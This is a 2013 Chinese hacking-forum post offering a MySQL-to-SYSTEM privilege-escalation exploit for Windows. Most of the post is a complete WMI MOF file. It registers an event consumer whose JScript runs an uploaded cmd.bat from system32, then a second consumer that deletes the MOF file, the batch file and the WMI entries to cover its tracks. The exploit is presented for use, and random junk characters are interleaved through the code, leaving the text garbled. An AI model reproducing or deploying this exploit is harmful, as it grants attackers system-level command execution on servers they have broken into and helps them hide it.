找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2449|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。( F) h; B8 h, w2 \) q' @  j' m- I$ d
需要将要运行的命令写入到bat上传到system32目录,然后执行。
' B' k8 D3 M, o: `+ w8 f' e4 N: p3 f- r# R: a; T
这个sql提权MOF需要运行 system下的文件,不能定义路径。
$ Z$ G2 f/ O: q需要将要运行的命令写入到bat上传到system32目录,然后执行。
+ h2 _7 J0 n( G1 F: d: C: h( P, ^8 S2 [5 O- B
#pragma6 ~' G6 K/ l9 m% M  a* t4 x
                        namespace("\\\\.\\root\\cimv2")
7 z/ n  |  Z; ]# v, ?                        class
2 C0 l( }% n8 E: h8 p+ G9 \* W% x0 X                        MyClass547
/ k- m5 ]+ Y/ g5 \9 g+ x4 h/ [( F                        {           [key]
+ k3 A5 Z$ o+ _( u' f                        string% r! c2 u& N: G- Q) z, D
                        Name;
9 K3 a6 q7 v3 k8 w% W+ l% z5 v9 U0 @                        };
# U: h, ?# d2 l: G9 H" H. }2 \                        class
+ r* o; J1 S( Y5 n* G" h                        ActiveScriptEventConsumer" V' C: g8 S% d( p
                        : __EventConsumer {          [key]9 w& h. P9 y& O' F+ V  r* a
                        string
# a3 H8 k! Q6 i( ]! v                        Name;           [not_null]! ?5 G8 z7 J% x1 n, {& V8 T% I
                        string4 J4 f/ c0 r6 T( U$ |' C$ O$ L
                        ScriptingEngine;           string
9 c# o/ G) {( s3 _+ y4 ~" o                        ScriptFileName;           [template]9 D8 n( a$ I1 z" P! q) Z* S& r; H
                        string
; h* j7 T5 ^, X4 e+ W                        ScriptText;         uint32 KillTimeout;
2 j% ~2 n- V4 N: ^( z5 p! s                        }; instance of __Win32Provider as $P {2 M6 u8 D5 W1 |$ P+ K9 d+ d
                        Name2 T/ ~8 b% a7 @& P/ s# X
                        =
* Y1 W9 x1 B6 n% K2 X8 E! Z                        "ActiveScriptEventConsumer";     CLSID =2 d; W6 o$ T$ @% B) K' K
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";* ^5 P) G6 U2 Q- {- V$ K) l3 F# n& ^
                        PerUserInitialization
7 j& M& G! ^7 ]                        = TRUE;' c% z( z  E) E1 E0 @1 y7 X* B0 x( i
                        }; instance of __EventConsumerProviderRegistration {         Provider  ?7 i, J+ Z' U: H3 F1 \* U
                        = $P;         ConsumerClassNames5 i  M+ W* X! O" w& y
                        =/ B) n% B# h! F/ ^: {, r
                        {"ActiveScriptEventConsumer"};
' p/ }3 g4 d1 Z: g" ^                        };
1 t1 c+ n  ~, I2 Z                        Instance of ActiveScriptEventConsumer; m' C8 |! p/ K# m: e  p
                        as $cons {         Name8 C, u: a/ Q" i2 L
                        =' y. _  P  h( _. ^2 o2 p5 d5 A
                        "ASEC";         ScriptingEngine9 m& V, ^9 o3 h7 i& K
                        =2 b0 h% M! H, N/ D& e+ y/ X( L& Y$ d
                        "JScript";         ScriptText
1 F. w) i5 X9 Y( \                        =9 D( D( A. c) g3 W) I) z8 c' b
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };" }$ n* C5 `; u- n
                        Instance of ActiveScriptEventConsumer. ]& ]( ?- W: G
                        as $cons2 {         Name
! w0 Z/ z* M2 e7 Y/ d9 |0 B$ }3 d                        =
- P$ n- v, |' B6 l4 B; b  e5 n; w                        "qndASEC";         ScriptingEngine
- i0 t) D& r- z& C/ Z$ ]                        =
3 R1 h5 Q: M  L. O6 A                        "JScript";         ScriptText# D" E( V9 K2 L# w, ]/ m
                        =, ^+ V9 u% n, O# c
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";5 |, I' Y3 m0 }
                        }; instance of __EventFilter as $Filt {         Name
0 j  n2 y6 ]/ ]                        =7 L& I3 v! `4 T0 Z' g# A
                        "instfilt";         Query
4 z: x8 g" |! j: k; S+ Y                        =; @4 h5 ]/ @" _6 w6 ]0 _
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
6 @# b, [" y* Y% R  l$ Y                        =9 e. Q5 ~: H  C3 r6 O& T
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name4 e2 C5 y9 l) D; g, X
                        =6 t. L3 Y6 v  p: K0 l
                        "qndfilt";         Query# [) h. [8 U/ H. [5 j- f
                        =
9 w$ w% g+ `6 }& ~8 a                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
( {5 [0 K$ v3 _& G5 h6 U9 `                        =
; Z* x* k* c( y7 l2 E  p% S                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer6 k6 Y, ]2 T- m
                        = $cons;         Filter) K8 c9 U; k$ X# X4 K# _
                        = $Filt;
! ?: N$ u9 N: X0 O( g) q                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
  I: e, `5 i! a                        = $cons2;         Filter
. c& J4 H& w/ q+ ]) z, Y) ^                        = $Filt2;$ v% ~% K# z- [7 j
                        }; instance of MyClass547; [3 S$ }! W0 J" j
                        as $MyClass {         Name
7 R6 d+ q2 o+ c. k, Z  R                        =6 _7 _0 q3 Y) T7 s" @8 j/ Q
                        "ClassConsumer";6 l* Q4 W5 f0 r, q
                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表